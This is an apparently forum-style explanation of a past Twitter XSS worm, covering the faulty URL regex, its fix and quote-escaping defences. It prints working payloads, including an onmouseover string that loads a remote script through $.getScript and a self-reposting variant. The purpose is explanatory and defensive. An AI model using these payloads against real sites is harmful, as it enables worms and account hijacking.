Today's XSS onmouseover exploit on twitter.com
The vulnerability is because URLs were not being parsed properly. For example, the following URL is posted to Twitter:
http://thisisatest.com/@"onmouseover="alert('test xss')"/
Twitter treats this as the URL. When it is parsed Twitter wraps a link around that code, so the HTML now looks like:
<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span>
You can see that by putting in the URL and the trailing slash, Twitter thinks it has a valid URL even though it contains a quote mark in it which allows it to escape (ie. terminate the href
attribute, for the pedants out there) the URL attribute and include a mouse over. You can write anything to the page, including closing the link and including a script element. Also, you are not limited by the 140 character limit because you can use $.getScript()
.
This commit, if it were pulled, would have prevented this XSS vulnerability.
In detail, the offending regex was:
REGEXEN[:valid_url_path_chars] = /(?:
#{REGEXEN[:wikipedia_disambiguation]}|
@[^\/]+\/|
[\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix
The @[^\/]+\/
part allowed any character (except a forward slash) when it was prefixed by an @ sign and suffixed by a forward slash.
By changing to @#{REGEXEN[:valid_general_url_path_chars]}+\/
it now only allows valid URL characters.
Yes this is XSS, it is attacking a javascript event handler. What is cool about this XSS is that it doesn't require <>
to exploit. The injected string is: size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"
.
The size::999999999999px
makes it very large and there for more likly that someone will mouse over it. The real problem is the onmouseover=
event handler.
To prevent this in PHP you need to convert quote marks into their html entities:
$var=htmlspecialchars($var,ENT_QUOTES);
This is because HTML you cannot escape quotes like sql: \'
The exploit was a classic piece of Javascript injection. Suppose you write a tweet with the following text:
"http://www.guardian.co.uk/technology is the best!"
When you view the Twitter web page, that becomes a link, like so:
<a href="http://www.guardian.co.uk/technology" class="tweet-url web"
rel="nofollow">http://www.guardian.co.uk/technology</a> is the best!
The exploit attacked that link-making function. The raw text of the exploit tweet would read something like this:
http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML);
$('.status-update-form').submit();"class="modal-overlay"/
Which Twitter didn't protect properly, probably because the @" character combination broke their [HTML] parser. That link would generate the following page source:
<a href="http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML);
$('.status-update-form').submit();"class="modal-overlay"/ class="tweet-url web"
rel="nofollow">
This means that executable content (the onMouseOver="stuff" bit) has ended up in the page source code. Not knowing any better, the browser runs this code. Because it's running in the user's browser, it can do anything the user does; most variations used this power to re-post the content, which is why it spread like a virus. To encourage the user to activate the code by mousing over, they also formatted the block as black-on-black using CSS [Cascading Style Sheets, which determines the page layout]. Other versions were hacked around by users to have all sorts of other effects, such as porn site redirects, rainbow text in their tweets, and so forth. Some of them popped up dialog boxes designed to alarm the users, talking about accounts being disabled or passwords stolen (they weren't, in either case).
Twitter fixed this not by blocking the string onMouseOver (which some dim-witted blogs were calling for) but by properly sanitising the input. The " marks in these tweets are now turned into " – the HTML-escaped form.
Technically this is a second-order injection attack; the attack string is inserted into the database and handled correctly, but then the attack takes place as the string is read back out instead. It's not that complex an attack at all either - rather embarrassing for Twitter that they were caught out by this.
Source: The Twitter hack: how it started and how it worked
It's an XSS exploit. As Twitter admitted in their update. You can prevent attacks like that by never allowing users to post javascript code. You should always filter it out. More information about avoiding XSS can be found here: http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)